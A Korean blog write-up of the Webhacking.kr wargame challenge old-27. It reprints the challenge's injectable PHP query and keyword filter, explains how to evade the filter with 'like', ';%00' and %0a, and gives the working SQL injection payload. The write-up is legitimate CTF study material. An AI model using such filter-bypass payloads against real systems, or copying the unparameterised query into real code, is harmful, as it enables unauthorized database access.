반응형
sqli문제인 것으로 보인다. 소스코드를 확인하자.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>
|
cs |
no값을 입력받아 필터링 과정을 거친다. 설정된 문자열이 포함된 경우 exit()가 호출된다.
select id from chall27 where id='guest' and no=({$_GET['no']})
위 sql 구문을 실행하여 id값이 admin인 데이터가 반환되면 문제가 해결된다.
admin의 no값이 2라고 주어졌으며, 이 것을 보고 guest의 no값은 0이나 1일 수 있다.
id가 admin인 데이터를 뽑아내기 위해서 우리는 sql구문을 아래와 같이 만들어야 한다.
select id from chall27 where id='guest' and no=(0)or id = "admin"#)
그러나 =, #, 공백 이 필터링되므로 이 문자들을 우회해야 한다.
=는 like로 #은 ;%00 으로 우회가 가능하다.
공백을 우회하는 방법은 여러가지가 있는데, %0a로 우회하였다.
payload = 0)or%0aid%0alike%0a"admin";%00
반응형
'WAR GAME > Webhacking.kr' 카테고리의 다른 글
Webhacking.kr [old-61] 문제 풀이 (0) | 2020.09.25 |
---|---|
Webhacking.kr [old-33] 문제 풀이 (0) | 2020.09.19 |
Webhacking.kr [old-32] 문제 풀이 (0) | 2020.09.19 |
Webhacking.kr [old-24] 문제 풀이 (0) | 2020.09.19 |
Webhacking.kr [old-17] 문제 풀이 (0) | 2020.09.19 |